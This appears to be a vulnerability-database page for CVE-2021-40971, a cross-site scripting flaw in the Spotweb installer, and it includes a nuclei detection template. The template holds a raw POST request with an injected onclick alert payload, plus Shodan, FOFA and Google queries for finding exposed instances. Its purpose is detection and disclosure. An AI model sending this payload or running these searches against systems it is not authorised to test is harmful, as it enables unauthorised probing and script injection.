HexBrain

Browse / CVEs / CVE-2021-40971

CVE-2021-40971· spotweb project / spotweb· CWE-79

Spotweb <= 1.5.1 - Cross Site Scripting

mediumseverity
6.1CVSS score
2.2%likelihood of exploitation, next 30 days
83%of all CVEs are less likely
Readycheck to confirm it

Cross-site scripting (XSS) vulnerability in templates/installer/step-004.inc.php in spotweb 1.5.1 and below allow remote attackers to inject arbitrary web script or HTML via the newpassword1 parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.

Fix

Fixed in version 1.5.2

How to confirm it

Send: POST /install.php?page=4
Positive when: contains "onclick='alert(document.domain)" and "Spotweb" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-40971 -u <target>

The full check
id: CVE-2021-40971

info:
  name: Spotweb <= 1.5.1 - Cross Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    Cross-site scripting (XSS) vulnerability in templates/installer/step-004.inc.php in spotweb 1.5.1 and below allow remote attackers to inject arbitrary web script or HTML via the newpassword1 parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: Fixed in version 1.5.2
  reference:
    - https://github.com/spotweb/spotweb/
    - https://github.com/spotweb/spotweb/issues/711
    - https://nvd.nist.gov/vuln/detail/CVE-2021-40971
    - https://github.com/spotweb/spotweb
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-40971
    cwe-id: CWE-79
    epss-score: 0.02239
    epss-percentile: 0.82973
    cpe: cpe:2.3:a:spotweb_project:spotweb:*:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 1
    vendor: spotweb_project
    product: spotweb
    shodan-query:
      - title:"SpotWeb - overview"
      - http.title:"spotweb - overview"
    fofa-query: title="spotweb - overview"
    google-query: intitle:"spotweb - overview"
  tags: cve2021,cve,xss,spotweb,spotweb_project,vuln

http:
  - raw:
      - |
        POST /install.php?page=4 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        settingsform[newpassword1]=pdteam'+onclick='alert(document.domain)

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "onclick='alert(document.domain)"
          - "Spotweb"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from